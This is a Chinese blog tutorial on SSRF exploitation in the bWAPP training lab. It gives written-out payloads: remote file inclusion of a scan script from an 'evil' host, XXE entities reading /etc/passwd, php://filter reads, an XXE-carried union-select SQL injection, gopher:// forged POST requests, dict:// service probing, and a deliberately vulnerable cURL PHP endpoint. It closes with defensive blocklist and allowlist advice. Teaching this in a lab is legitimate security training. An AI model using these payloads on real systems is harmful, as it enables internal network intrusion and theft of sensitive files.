SSRF服务器端请求伪造漏洞之——攻防实战与防范方法

攻防实战与防范方法

bWAPP 中的 SSRF 给出了 3 个小实验来说明 SSRF 的利用场景

任务 1:使用远程文件包含进行端口扫描(内网探测)

点击任务 1 中的 Port scan 可以获得一份端口扫描的攻击脚本
仅需要包含脚本,并请求 IP 参数为对应的主机即可,接下来就是利用 bWAPP 中的远程文件包含漏洞,执行端口扫描的脚本
Choose your bug 中选择 Remote & Local File Inclusion (RFI/LFI)security level 还是选择 low,然后点击 Hack
进入 Remote & Local File Inclusion (RFI/LFI)的实验后,看到有个选择语言的功能模块,直接执行下,观察 Get
请求中的参数,发现是典型文件包含问题,language=lang_en.php
GET 的请求: http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go
使用如下 PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务

POST: http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/evil/ss
rf-1.txt&action=go POST DATA:ip=192.168.163.159
这里 xxx.xxx.xxx (192.168.163.1)是扫描脚本的访问地址,192.168.163.159 是要扫描的目标主 机地址,且该地址是 xxx.xxx.xxx 主机无法访问到的,然后方便查看区分使用 post 请求提交
要进行扫描的目标主机 IP,扫描结束后便返回结果。

任务 2:使用 XXE 获取敏感文件中的内容(文件读取)

先点击任务 2 中的 Access 得到 XXE 的利用脚本:http://xxx.xxx.xxx/bWAPP/xxe-1.php,然访问
XML External Entity Attacks (XXE)演练环境,使用 burpSuite 抓包,并发送到 repeater
中进行测试
测试中涉及的 XXE 知识可以参考 http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA 这篇文章。
使用 http 协议获取/bWAPP/robots.txt 的内容。

<?xml version="1.0" encoding="utf-8"?> 
 <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "http://localhost/1/bwapp/robots.txt"> ]>
 <reset>  <login>&bWAPP;
 </login> 
  <secret>blah</secret> 
   </reset>

xml版本定义
DTD定义根元素元素类型
读取文件内容
引用取到的内容

php://filter/read=convert.base64-encode/resource=http://192.168.0.67/1/bwapp/passwords/he
roes.xml
使用 php 协议获取/bWAPP/passwords/heroes.xml 中的经过 base64 编码的数据

使用 file 协议获取 bWAPP 本机的/etc/passwd 的内容

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "file://etc/passwd"> ]> <reset> 

<login>&bWAPP;</login>  <secret>blah</secret>  </reset>

适用于文档中包含特殊符号,当xml执行会报错,这里采用php协议编码一下,绕过

任务 3:使用 XXE 进行内网 sql 注入

这个任务对内网站点的 SQL 注入漏洞进行利用。如,192.168.163.150 主机上有注入漏洞那
么可以发送如下 payload 可以使用 SSRF 进行 SQL 漏洞的利用,当然也可以进行 Struts2 等漏
洞的利用

1.<?xml version=1.0″ encoding=”utf-8?>
2.<!DOCTYPE root [
3. <!ENTITY bWAPP SYSTEM 
"http://192.168.163.150/news.php?newsid=-11+union+select+1,user()">
4.]>
5.<reset><login>&bWAPP;</login><secret>blah</secret></reset>

SSRF 知识拓展

以上讲述的是 SSRF 的一般用法,用 http,file,php 协议来进行内网探测,文件读取, 漏洞利用等,接下来讨论的是 SSRF
的拓展知识。回想上面的利用都是发送 GET 的请求进行 利用的。那么请思考下如果内网站点的漏洞在 POST 请求的参数中呢? 又或者漏洞点在
request header 中的某个字段里呢?应该如何构造 SSRF 请求进行利用?

实验靶机搭建

从上面的表格内容可以知道,在 php 中要使用 gopher 协议需要 curl 的支持,当然 curl 还支 持了很多的协议,首先准备好
lamp 的环境,如果 ubuntu 上的 PHP 没有 curl 拓展,需要使 用以下命令进行安装
sudo apt-get install php5-curl
sudo service apache restart 然后编写以下测试代码,用户可控的输入点是$_GET[‘url’]到此就完成实验靶机的搭建了

			1.<?php
2.// 创建一个新 cURL 资源
3.$ch = curl_init();
4.// 设置 URL 和相应的选项
5.curl_setopt($ch, CURLOPT_URL, $_GET['url']);
www.oldboyedu.com
6.curl_setopt($ch, CURLOPT_HEADER, false);
7.// 抓取 URL 并把它传递给浏览器
8.curl_exec($ch);
9.//关闭 cURL 资源,并且释放系统资源
10.curl_close($ch);
11.?>

file 协议的运用

请求 http://192.168.163.150/test.php?url=file:///etc/passwd 便可以获取敏感文件的信息

gopher 协议的运用

在 SSRF 漏洞利用中号称万金油的 gopher 协议
gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏 洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,这样变可 以解决漏洞点不在 GET 参数的问题了
基本协议格式:
URL:gopher://<host>:<port>/<gopher-path>

进行如下请求可以发送一个 POST 请求,且参数 cmd 的值为 balabal,这里构造 gopher 请求的时候,回车换行符号要进行 2
次 url 编码%250d%250a

http://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/
1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%2
50aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%2
50a%250d%250aid=1

此时可以在 192.168.0.105 主机中的 access.log,找到访问日志
当然也可以使用网络数据包分析工具( burp),抓取 TCP 流量中 HTTP 的数据 由于gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色,具体的攻击方式可以参考如下链接:
https://blog.chaitin.cn/gopher-attack-surfaces/

dict 协议应用

dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源, 但是在 SSRF 中如果可以使用 dict
协议那么就可以轻易的获取目标服务器端口上运行的服务 版本等信息
如请求 http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info
可以获取目标主 机的 3306 端口上运行着 mysq-l5.5.55 版本的应用。

	**有关 SSRF 其它扩展知道可参考: http://www.anquan.us/static/drops/web-7550.html**

SSRF 防护方法

1、防护措施

(黑名单)
(1)过滤 10.0.0.0/8 、172.16.0.0/12、192.168.0.0/16、localhost 私有地址、IPv6 地址
(2)过滤 file:///、dict://、gopher://、ftp:// 危险 schema
(3)对返回的内容进行识别
(4)内网服务开启鉴权(Memcached, Redis, Elasticsearch and MongoDB)

2、最佳防护

(1)使用地址白名单
(2)对返回内容进行识别
(3)需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:首先禁用CURLOPT_FOLLOWLOCATION;然后通过域名获取目标
ip,并过滤内部 ip;最后识别返回的内容是否与假定内容一致

发布了94 篇原创文章 · 获赞 8 · 访问量 5218

猜你喜欢

转载自blog.csdn.net/weixin_43079958/article/details/105442833